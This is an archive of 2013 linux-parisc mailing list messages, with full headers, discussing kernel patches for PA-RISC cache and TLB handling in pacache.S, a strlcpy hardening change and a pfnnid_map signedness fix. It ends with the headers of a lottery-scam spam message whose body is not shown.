Original-Received: from BLU0-SMTP78 ([65.55.111.135]) by blu0-omc4-s31.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 2 Jun 2013 11:06:29 -0700
X-EIP: [5JitXpqk4yPuH7PaAXWH7uE+xlsMGJQt]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.95.143]) by BLU0-SMTP78.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 2 Jun 2013 11:06:28 -0700
In-Reply-To: <1370194458.1977.16.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 02 Jun 2013 18:06:28.0736 (UTC) FILETIME=[E779B800:01CE5FBB]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5126
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5126>

On 2-Jun-13, at 1:34 PM, James Bottomley wrote:

> On Sun, 2013-06-02 at 13:16 -0400, John David Anglin wrote:
>> On 2-Jun-13, at 12:43 PM, James Bottomley wrote:
>>
>>> On Sun, 2013-06-02 at 12:21 -0400, John David Anglin wrote:
>>>> The comment at the start of pacache.S states that the base and  
>>>> index
>>>> registers used for
>>>> fdc,fic, and pdc instructions should not use shadowed registers.
>>>> Although this is probably
>>>> unnecessary for tmpalias flushes, there is also no reason not to
>>>> comply.  The same
>>>> index register (%r23) is used as in other routines.
>>>
>>> Please don't do this, it's a misinterpretation of the comment.
>>
>> I don't think so.  See the discussion around cases 16 and 17 in
>> handle_interruption.
>
> Please be clearer: I don't understand what you think the problem  
> is.  16
> and 17 are the non access TLB traps which we can't get into in the
> tmpalias code.
>
> The way we handle tlb misses (for both NA, D and I types) within the
> tmpalias region is in the do_alias macro of the interruption handler.
> We never go through to the fault handler.
>
>>>
>>> What the comment is trying to say is that we use unshadowed
>>> registers to
>>> pass information to the tmpalias handler in our tlb insertion
>>> interruption.  It's the do_alias macro in entry.S.  The only actual
>>> unshadowed registers it uses are %r23 and %r26.  Apart from these
>>> having
>>> to have specific values, the rest of the routine is free to use any
>>> other registers (either shadowed or unshadowed) as it sees fit.
>>>
>>> If the comment is unclear, perhaps it needs fixing?
>>
>>
>> %r23 is only used by the do_alias macro for interruptions in the
>> 'from' region.
>> See this hunk:
>>
>> #ifdef CONFIG_64BIT
>>         extrd,u,*=      \va,41,1,%r0
>> #else
>>         extrw,u,=       \va,9,1,%r0
>> #endif
>>         or,COND(tr)     %r23,%r0,\pte
>>         or              %r26,%r0,\pte
>>
>> The extract instruction tests whether the interruption was in the  
>> 'to'
>> tmpalias
>> region.  If it is in the 'to' region, the instruction following using
>> %r23 is nullified.
>>
>> So, %r23 can be used for the index register in these two functions
>> which don't
>> use the 'from' tmpalias region.
>
> It can, but it's dangerous and confusing to use it because we've
> specifically called out that it has a special meaning in the vario0us
> comments.  Using it for a different purpose from what we stated in the
> comments within the code needlessly confuses the reader who comes  
> after
> us.


I don't think it's dangerous.  %r23 is a call clobbered register in  
these functions.
It can be anything on entry to these functions and it is not  
initialized.

We could use %r31 instead if you want to keep %r23 for tmpalias use.

The issue is the inconsistency between the initial comment which  
applies to the
fault handler and the tmpalias routines that have different rules for  
non access
faults.

Helge originally pointed out the issue.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix cache coherency for copy/clear_user_page
 operations
Date: Sun, 02 Jun 2013 11:11:55 -0700
Lines: 85
Approved: news@gmane.org
Message-ID: <1370196715.1977.28.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP5D57135C2483B5BA307F2979C0@phx.gbl>
	 <1370196125.1977.26.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370196720 10462 80.91.229.3 (2 Jun 2013 18:12:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Jun 2013 18:12:00 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 02 20:11:59 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UjCl4-0005eH-7g
	for glpp-linux-parisc@plane.gmane.org; Sun, 02 Jun 2013 20:11:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755234Ab3FBSL5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Jun 2013 14:11:57 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:41031 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755230Ab3FBSL5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Jun 2013 14:11:57 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DB3048EE140;
	Sun,  2 Jun 2013 11:11:56 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id XcUKiphdgjnb; Sun,  2 Jun 2013 11:11:56 -0700 (PDT)
Original-Received: from [10.0.0.6] (c-24-18-112-117.hsd1.wa.comcast.net [24.18.112.117])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 67A5B8EE094;
	Sun,  2 Jun 2013 11:11:56 -0700 (PDT)
In-Reply-To: <1370196125.1977.26.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Evolution 3.8.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5127
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5127>

On Sun, 2013-06-02 at 11:02 -0700, James Bottomley wrote:
> On Sun, 2013-06-02 at 12:09 -0400, John David Anglin wrote:
> > As noted by James E.J. Bottomley, we need to purge the kernel TLB  
> > entries used when copying/clearing
> > to user pages on PA 2.0 systems that require cache coherency.   
> > Otherwise, we generate inequivalent
> > aliases and incorrect cache operation.
> 
> What I meant was we have to remove the tmpalias tlb entry at the end of
> the tmpalias operation.  This means in the asm of pacache.S.  Like the
> patch below (untested because all my boxes are currently in a shipping
> container on the docks at Seattle).  

Let's try with the patch this time

James

---
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 36d7f40..9f0a377 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -686,6 +686,9 @@ ENTRY(copy_user_page_asm)
 	 */
 	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
 	ldd		0(%r29), %r19		/* start next loads */
+	/* move back to the page for the purges below */
+	ldo		-256(%r29), %r29
+	ldo		-256(%r28), %r28
 
 #else
 	ldi		(PAGE_SIZE / 64), %r1
@@ -735,6 +738,19 @@ ENTRY(copy_user_page_asm)
 
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
+	/* move back to the page for the purges below */
+	ldo		-128(%r28), %r28
+	ldo		-128(%r29), %r29
+#endif
+
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+	pdtlb,l		0(%r29)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r28)
+	pdtlb		0(%r29)
+	tlb_unlock	%r20,%r21,%r22
 #endif
 
 	bv		%r0(%r2)
@@ -799,6 +815,7 @@ ENTRY(clear_user_page_asm)
 	std		%r0, 120(%r28)
 	addib,COND(>)		-1, %r1, 1b
 	ldo		128(%r28), %r28
+	ldo		-256(%r28),%r28 /* move back to the same page */
 
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
@@ -821,8 +838,17 @@ ENTRY(clear_user_page_asm)
 	stw		%r0, 60(%r28)
 	addib,COND(>)		-1, %r1, 1b
 	ldo		64(%r28), %r28
+	ldo		-128(%r28),%r28 /* move back to the same page */
 #endif	/* CONFIG_64BIT */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
 	nop
 	.exit


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix cache coherency for copy/clear_user_page operations
Date: Sun, 2 Jun 2013 14:30:31 -0400
Lines: 91
Approved: news@gmane.org
Message-ID: <BLU0-SMTP532C04B87D7438A2507370979C0@phx.gbl>
References: <BLU0-SMTP5D57135C2483B5BA307F2979C0@phx.gbl> <1370196125.1977.26.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370197847 21024 80.91.229.3 (2 Jun 2013 18:30:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Jun 2013 18:30:47 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 02 20:30:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UjD3B-0000zx-KA
	for glpp-linux-parisc@plane.gmane.org; Sun, 02 Jun 2013 20:30:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755016Ab3FBSal (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Jun 2013 14:30:41 -0400
Original-Received: from blu0-omc4-s5.blu0.hotmail.com ([65.55.111.144]:39095 "EHLO
	blu0-omc4-s5.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754992Ab3FBSak (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Jun 2013 14:30:40 -0400
Original-Received: from BLU0-SMTP53 ([65.55.111.136]) by blu0-omc4-s5.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 2 Jun 2013 11:30:40 -0700
X-EIP: [/XvvwQNVvR9rZu1Ydbi9q3+twb2gyGKF]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.95.143]) by BLU0-SMTP53.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 2 Jun 2013 11:30:39 -0700
In-Reply-To: <1370196125.1977.26.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 02 Jun 2013 18:30:40.0076 (UTC) FILETIME=[488AA0C0:01CE5FBF]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5128
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5128>

On 2-Jun-13, at 2:02 PM, James Bottomley wrote:

> On Sun, 2013-06-02 at 12:09 -0400, John David Anglin wrote:
>> As noted by James E.J. Bottomley, we need to purge the kernel TLB
>> entries used when copying/clearing
>> to user pages on PA 2.0 systems that require cache coherency.
>> Otherwise, we generate inequivalent
>> aliases and incorrect cache operation.
>
> What I meant was we have to remove the tmpalias tlb entry at the end  
> of
> the tmpalias operation.  This means in the asm of pacache.S.  Like the
> patch below (untested because all my boxes are currently in a shipping
> container on the docks at Seattle).

The entries are removed in flush_dcache_page_asm  and  
flush_icache_page_asm.
They are not currently removed in copy_user_page_asm and  
clear_user_page_asm.

The latter two routines are not currently used.   
CONFIG_PARISC_TMPALIAS needs
to be defined to switch to using the latter two routines.   
copy_user_page_asm has
never been enabled in the linux source and I haven't tested in the  
highpage code in
over a year.

>
>
>> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
>> index 65fb4cb..a16ede352 100644
>> --- a/arch/parisc/kernel/cache.c
>> +++ b/arch/parisc/kernel/cache.c
>> @@ -383,7 +383,7 @@ void clear_user_page(void *vto, unsigned long
>> vaddr, struct page *page)
>> {
>>        clear_page_asm(vto);
>>        if (!parisc_requires_coherency())
>> -               flush_kernel_dcache_page_asm(vto);
>> +               flush_kernel_dcache_page_addr(vto);
>> }
>> EXPORT_SYMBOL(clear_user_page);
>>
>> @@ -397,10 +397,10 @@ void copy_user_page(void *vto, void *vfrom,
>> unsigned long vaddr,
>>           the kernel mapping. */
>>        preempt_disable();
>>        flush_dcache_page_asm(__pa(vfrom), vaddr);
>> -       preempt_enable();
>>        copy_page_asm(vto, vfrom);
>>        if (!parisc_requires_coherency())
>> -               flush_kernel_dcache_page_asm(vto);
>> +               flush_kernel_dcache_page_addr(vto);
>> +       preempt_enable();
>> }
>> EXPORT_SYMBOL(copy_user_page);
>>
> These two changes should be ineffective.  The only time
> clear_user_page() and copy_user_page() are used is if the architecture
> doesn't supply clear_user_highpage() and copy_user_highpage() along  
> with
> the necessary defines for highmem.h, which we do.

Yes, I added them.

>
> If we go back to the non highpage defines, we've effectively double
> purged, because the kunmap_atomic will do the kernel tlb purge for  
> us as
> well.


Actually, no.  The checks in clear_user_page and copy_user_page are
!parisc_requires_coherency().  They can't affect rp3440.  So, the  
original
code was correct.  So, the improved stability has to have come from  
moving
the preempt lines.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] arch: parisc: kernel: using strlcpy() instead of strcpy()
Date: Mon, 03 Jun 2013 16:50:03 +0800
Lines: 25
Approved: news@gmane.org
Message-ID: <51AC58BB.20305@asianux.com>
References: <51A6A8F3.2030200@asianux.com> <20130530150636.GA2121@udknight>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370249460 19479 80.91.229.3 (3 Jun 2013 08:51:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Jun 2013 08:51:00 +0000 (UTC)
To: Wang YanQing <udknight@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Greg KH <gregkh@linuxfoundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Linux-Arch <linux-arch@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 03 10:50:59 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UjQTh-0003NR-Ex
	for glpp-linux-parisc@plane.gmane.org; Mon, 03 Jun 2013 10:50:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751903Ab3FCIu4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 3 Jun 2013 04:50:56 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:63520 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751857Ab3FCIuz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 3 Jun 2013 04:50:55 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id B69AE1840334; Mon,  3 Jun 2013 16:50:51 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id 17FFD1840253;
	Mon,  3 Jun 2013 16:50:51 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <20130530150636.GA2121@udknight>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5129 gmane.linux.kernel:1500837 gmane.linux.kernel.cross-arch:18316
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5129>

On 05/30/2013 11:06 PM, Wang YanQing wrote:
> What about add 
> boot_command_line[COMMAND_LINE_SIZE - 1] = '\0';
> to protect the following another strcpy?
> 
> "
> strcpy(command_line, boot_command_line);
> "

If the 'dest' length is not less than COMMAND_LINE_SIZE, the strlcpy()
will copy 'COMMAND_LINE_SIZE - 1' contents, and always set '\0' in the end.

So the next strcpy() will be safe.


Thanks.
-- 
Chen Gang

Asianux Corporation
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] arch: parisc: kernel: using strlcpy() instead of strcpy()
Date: Mon, 03 Jun 2013 16:55:42 +0800
Lines: 29
Approved: news@gmane.org
Message-ID: <51AC5A0E.4080408@asianux.com>
References: <51A6A8F3.2030200@asianux.com> <20130530153551.GN19205@redacted.bos.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370249795 23111 80.91.229.3 (3 Jun 2013 08:56:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Jun 2013 08:56:35 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, udknight@gmail.com,
	Greg KH <gregkh@linuxfoundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Linux-Arch <linux-arch@vger.kernel.org>
To: Kyle McMartin <kmcmarti@redhat.com>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jun 03 10:56:33 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1UjQZ7-0005Yk-1p
	for glka-linux-arch@plane.gmane.org; Mon, 03 Jun 2013 10:56:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752753Ab3FCI4c (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 3 Jun 2013 04:56:32 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:64518 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751100Ab3FCI4b (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 3 Jun 2013 04:56:31 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id AC2D61840253; Mon,  3 Jun 2013 16:56:30 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,TW_CP,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id 358561840253;
	Mon,  3 Jun 2013 16:56:30 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <20130530153551.GN19205@redacted.bos.redhat.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:18317 gmane.linux.ports.parisc:5130 gmane.linux.kernel:1500841
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/18317>

On 05/30/2013 11:35 PM, Kyle McMartin wrote:
> On Thu, May 30, 2013 at 09:18:43AM +0800, Chen Gang wrote:
>> > 
>> > 'boot_args' is an input args, and 'boot_command_line' has a fix length.
>> > 
>> > So need use strlcpy() instead of strcpy() to avoid memory overflow.
>> > 
> This is basically impossible, since boot_args is fixed in size by palo,
> initialized to zero, and length checked in the bootloader. It's also
> only 256+4 bytes compared to the 1024 bytes set aside for
> boot_command_line.
> 
> That said, it's harmless to use strlcpy here, and obviously (more)
> correct. Thanks!
> 

OK, thanks.

> Acked-by: Kyle McMartin <kyle@mcmartin.ca>
> 
> 

Thank you. :-)


-- 
Chen Gang

Asianux Corporation

From - Thu Nov 08 21:09:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix kernel BUG at
 arch/parisc/include/asm/mmzone.h:50 (part 2)
Date: Wed, 5 Jun 2013 22:50:01 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <20130605205001.GA2769@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1370465412 9668 80.91.229.3 (5 Jun 2013 20:50:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Jun 2013 20:50:12 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 05 22:50:11 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UkKem-0003iY-My
	for glpp-linux-parisc@plane.gmane.org; Wed, 05 Jun 2013 22:50:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757469Ab3FEUuI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Jun 2013 16:50:08 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:60192 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757276Ab3FEUuH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Jun 2013 16:50:07 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.17]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MCvpV-1Uag0N1tLv-009ewm for
 <linux-parisc@vger.kernel.org>; Wed, 05 Jun 2013 22:50:04 +0200
Original-Received: (qmail invoked by alias); 05 Jun 2013 20:50:04 -0000
Original-Received: from p54AD14E2.dip0.t-ipconnect.de (EHLO ls3530.box) [84.173.20.226]
  by mail.gmx.net (mp017) with SMTP; 05 Jun 2013 22:50:04 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+KRfF8i4OKtdUIIppId7YwifhNnjNIc3bYjhHO+/
	ZWnwsCdpPIV1d6
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5131
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5131>

Make sure that we really return -1 (instead of 0x00ff) as node id for
page frame numbers which are not physically available.

This finally fixes the kernel panic when running
cat /proc/kpageflags /proc/kpagecount.

Theoretically this patch now limits the number of physical memory ranges
to 127 instead of 254, but currently we have MAX_PHYSMEM_RANGES
hardcoded to 8 which is sufficient for all existing parisc machines.
    
Signed-off-by: Helge Deller <deller@gmx.de

diff --git a/arch/parisc/include/asm/mmzone.h b/arch/parisc/include/asm/mmzone.h
index cc50d33..b6b34a0 100644
--- a/arch/parisc/include/asm/mmzone.h
+++ b/arch/parisc/include/asm/mmzone.h
@@ -27,7 +27,7 @@ extern struct node_map_data node_data[];
 
 #define PFNNID_SHIFT (30 - PAGE_SHIFT)
 #define PFNNID_MAP_MAX  512     /* support 512GB */
-extern unsigned char pfnnid_map[PFNNID_MAP_MAX];
+extern signed char pfnnid_map[PFNNID_MAP_MAX];
 
 #ifndef CONFIG_64BIT
 #define pfn_is_io(pfn) ((pfn & (0xf0000000UL >> PAGE_SHIFT)) == (0xf0000000UL >> PAGE_SHIFT))
@@ -46,7 +46,7 @@ static inline int pfn_to_nid(unsigned long pfn)
 	i = pfn >> PFNNID_SHIFT;
 	BUG_ON(i >= ARRAY_SIZE(pfnnid_map));
 
-	return (int)pfnnid_map[i];
+	return pfnnid_map[i];
 }
 
 static inline int pfn_valid(int pfn)
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 1c96564..505b56c 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -47,7 +47,7 @@ pte_t pg0[PT_INITIAL * PTRS_PER_PTE] __attribute__ ((__section__ (".data..vm0.pt
 
 #ifdef CONFIG_DISCONTIGMEM
 struct node_map_data node_data[MAX_NUMNODES] __read_mostly;
-unsigned char pfnnid_map[PFNNID_MAP_MAX] __read_mostly;
+signed char pfnnid_map[PFNNID_MAP_MAX] __read_mostly;
 #endif
 
 static struct resource data_resource = {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "www.swisslotto.ch" <sender@aol.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: =?utf-8?Q?PROCES_A_ODKUPU_VA=C5=A0?=
 =?utf-8?Q?=C3=8D_VYHR=C3=81L_CENU_=C2=A3_7.?=
 =?utf-8?Q?500,000LIBRA_BRITSK=C3=81?=
